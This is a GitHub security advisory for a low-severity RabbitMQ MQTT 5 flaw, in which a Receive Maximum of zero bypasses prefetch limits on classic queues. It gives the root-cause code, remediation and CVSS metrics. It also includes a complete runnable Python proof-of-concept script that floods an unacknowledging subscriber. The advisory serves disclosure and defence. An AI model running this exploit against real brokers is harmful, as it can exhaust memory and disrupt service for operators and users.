Skip to content

MQTT 5.0: Receive Maximum zero disables delivery credit

Low
michaelklishin published GHSA-4826-gphh-vw3x Aug 18, 2026

Software

rabbitmq-server

Affected versions

>= 4.2.0, < 4.2.10
>= 4.3.0, < 4.3.5

Patched versions

4.2.10
4.3.5

Description

Summary

RabbitMQ accepts the MQTT 5 Receive Maximum CONNECT property with value zero,
although MQTT 5 requires the server to treat zero as a malformed packet.

RabbitMQ converts the value directly into {simple_prefetch, 0}. For classic
queues, zero means unlimited prefetch, not zero delivery credit. An
authenticated subscriber can therefore advertise zero, subscribe at QoS 1,
read deliveries without sending PUBACK, and cause the broker's MQTT process and
queue acknowledgement state to grow without the configured MQTT prefetch bound.

A control connection advertising Receive Maximum = 1 receives exactly one
QoS 1 message until it acknowledges it.

Preconditions

  • rabbitmq_mqtt or Web MQTT is enabled.
  • The attacker has valid credentials and permission to consume a topic.
  • Messages are available to the subscription at QoS 1.
  • The affected subscription uses a classic queue. Clean-start MQTT
    subscriptions use classic queues in the verified configuration.

Root cause

1. CONNECT parsing accepts zero

%% deps/rabbitmq_mqtt/src/rabbit_mqtt_packet.erl:350-351
parse_prop(<<16#21, Val:16, Bin/binary>>, ?CONNECT = Type, Props) ->
    parse_prop(Bin, Type, Props#{'Receive-Maximum' => Val});

No guard rejects Val = 0.

2. Zero becomes effective prefetch

%% deps/rabbitmq_mqtt/src/rabbit_mqtt_processor.erl:295-302
prefetch(Props) ->
    ReceiveMax = maps:get('Receive-Maximum', Props, ?TWO_BYTE_INTEGER_MAX),
    min(rabbit_mqtt_util:env(prefetch), ReceiveMax).

With mqtt.prefetch = 10, a client value of zero produces zero.

3. Classic queues interpret zero as unlimited

The MQTT consumer is created with:

mode => {simple_prefetch, Prefetch}

At Prefetch = 0, rabbit_queue_consumers does not install a limiting credit
record. QoS 1 deliveries continue while the MQTT processor tracks packet IDs
and waits for PUBACK.

Quorum queues treat zero differently and can stop delivery, but this does not
protect classic MQTT subscription queues.

Basic Python proof of concept

Attachment: mqtt-receive-maximum-zero-poc.py

The attachment is one Python 3 file using only the standard library.

Target configuration:

# rabbitmq.conf
mqtt.prefetch = 10

Enable MQTT and create any ordinary user with permission to consume and publish
in the target vhost:

rabbitmq-plugins enable rabbitmq_mqtt

Run the PoC against that server:

python3 mqtt-receive-maximum-zero-poc.py \
  --host rabbitmq.example --port 1883 \
  --user poc --password pocpass \
  --messages 1000

The script connects two raw MQTT 5 subscribers:

  • control: Receive Maximum = 1;
  • attack: forbidden Receive Maximum = 0.

Both subscribe at QoS 1 and deliberately send no PUBACK. A third connection
publishes 20 control messages and 1,000 attack messages. A vulnerable server
prints:

{
  "receive_maximum_1_deliveries_without_puback": 1,
  "receive_maximum_0_deliveries_without_puback": 1000,
  "attack_messages_published": 1000
}
VULNERABLE

Independent Docker validation evidence

The same wire sequence was independently run against stock RabbitMQ 4.3.4:

RabbitMQ 4.3.4

control:
  Receive Maximum: 1
  published QoS 1: 20
  received without PUBACK: 1

attack:
  Receive Maximum: 0
  published QoS 1: 1000
  received without PUBACK: 1000

PASS: Receive Maximum zero exceeded configured broker prefetch
PASS: Receive Maximum zero delivered at least 90% without PUBACK
ASSERTIONS_OK
Ping succeeded

MQTT QoS acknowledgements are tracked inside rabbit_mqtt_processor, so
management queue messages_unacknowledged can remain zero even while the MQTT
client has 1,000 QoS 1 deliveries awaiting PUBACK. The wire-level control
directly demonstrates the credit bypass.

Impact

  • The attacker can make unsettled delivery state grow far beyond both the
    client-advertised receive limit and the configured broker MQTT prefetch.
  • Repeating the flow with sustained publishing can exhaust broker memory.
  • RabbitMQ's memory alarm can stop new publishers but does not reclaim existing
    unsettled MQTT state.
  • The attack requires authentication and an opt-in MQTT listener, but no
    administrator privileges.

Recommended remediation

  • Reject MQTT 5 CONNECT packets with Receive Maximum = 0 using the required
    malformed-packet reason code.
  • Validate duplicate and out-of-range Receive Maximum properties.
  • Never map an invalid client credit value to RabbitMQ's unlimited-prefetch
    sentinel.
  • Bound per-connection unsettled MQTT state independently of queue prefetch.
  • Add zero-value tests for classic, quorum, native MQTT, and Web MQTT paths.
#!/usr/bin/env python3
"""RabbitMQ MQTT 5 Receive Maximum zero PoC (standard library only)."""

from __future__ import annotations

import argparse
import json
import socket
import struct
import threading
import time


def varint(value: int) -> bytes:
    out = bytearray()
    while True:
        byte = value & 0x7F
        value >>= 7
        out.append(byte | (0x80 if value else 0))
        if not value:
            return bytes(out)


def read_varint(sock: socket.socket) -> int:
    value, multiplier = 0, 1
    for _ in range(4):
        byte = sock.recv(1)[0]
        value += (byte & 0x7F) * multiplier
        if not byte & 0x80:
            return value
        multiplier *= 128
    raise ValueError("invalid MQTT varint")


def mqtt_string(value: str | bytes) -> bytes:
    raw = value.encode() if isinstance(value, str) else value
    return struct.pack(">H", len(raw)) + raw


def packet(sock: socket.socket, timeout: float = 10) -> tuple[int, bytes]:
    sock.settimeout(timeout)
    kind = sock.recv(1)[0] >> 4
    size = read_varint(sock)
    body = bytearray()
    while len(body) < size:
        body.extend(sock.recv(size - len(body)))
    return kind, bytes(body)


def connect(
    host: str,
    port: int,
    client_id: str,
    user: str,
    password: str,
    receive_maximum: int | None,
) -> socket.socket:
    properties = (
        b"" if receive_maximum is None
        else b"\x21" + struct.pack(">H", receive_maximum)
    )
    variable = (
        mqtt_string("MQTT")
        + b"\x05\xc2"
        + struct.pack(">H", 60)
        + varint(len(properties))
        + properties
    )
    body = variable + mqtt_string(client_id) + mqtt_string(user) + mqtt_string(password)
    sock = socket.create_connection((host, port), timeout=10)
    sock.sendall(b"\x10" + varint(len(body)) + body)
    kind, connack = packet(sock)
    if kind != 2 or len(connack) < 2 or connack[1] != 0:
        raise RuntimeError(f"CONNECT rejected: kind={kind}, body={connack.hex()}")
    return sock


def subscribe(sock: socket.socket, topic: str) -> None:
    body = b"\x00\x01\x00" + mqtt_string(topic) + b"\x01"  # packet 1, QoS 1
    sock.sendall(b"\x82" + varint(len(body)) + body)
    kind, _ = packet(sock)
    if kind != 9:
        raise RuntimeError("expected SUBACK")


class NoPubackReader(threading.Thread):
    def __init__(self, sock: socket.socket) -> None:
        super().__init__(daemon=True)
        self.sock = sock
        self.count = 0

    def run(self) -> None:
        while True:
            try:
                kind, _ = packet(self.sock, 1)
                if kind == 3:  # PUBLISH: deliberately do not send PUBACK
                    self.count += 1
            except (TimeoutError, socket.timeout):
                continue
            except (ConnectionError, OSError, IndexError):
                return


def publish(sock: socket.socket, topic: str, count: int) -> None:
    for number in range(1, count + 1):
        packet_id = ((number - 1) % 65_535) + 1
        body = (
            mqtt_string(topic)
            + struct.pack(">H", packet_id)
            + b"\x00"
            + f"message-{number}".encode()
        )
        sock.sendall(b"\x32" + varint(len(body)) + body)
        kind, _ = packet(sock)
        if kind != 4:
            raise RuntimeError("expected PUBACK from broker")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=1883)
    parser.add_argument("--user", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--messages", type=int, default=1000)
    args = parser.parse_args()

    one = connect(args.host, args.port, "poc-max-one", args.user, args.password, 1)
    zero = connect(args.host, args.port, "poc-max-zero", args.user, args.password, 0)
    subscribe(one, "poc/receive-max-one")
    subscribe(zero, "poc/receive-max-zero")
    one_reader, zero_reader = NoPubackReader(one), NoPubackReader(zero)
    one_reader.start()
    zero_reader.start()

    publisher = connect(
        args.host, args.port, "poc-publisher", args.user, args.password, None
    )
    publish(publisher, "poc/receive-max-one", 20)
    publish(publisher, "poc/receive-max-zero", args.messages)

    deadline = time.time() + 15
    while zero_reader.count < args.messages and time.time() < deadline:
        time.sleep(0.1)

    result = {
        "receive_maximum_1_deliveries_without_puback": one_reader.count,
        "receive_maximum_0_deliveries_without_puback": zero_reader.count,
        "attack_messages_published": args.messages,
    }
    print(json.dumps(result, indent=2))

    vulnerable = one_reader.count == 1 and zero_reader.count > 10
    print("VULNERABLE" if vulnerable else "NOT_REPRODUCED")
    return 0 if vulnerable else 1


if __name__ == "__main__":
    raise SystemExit(main())

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits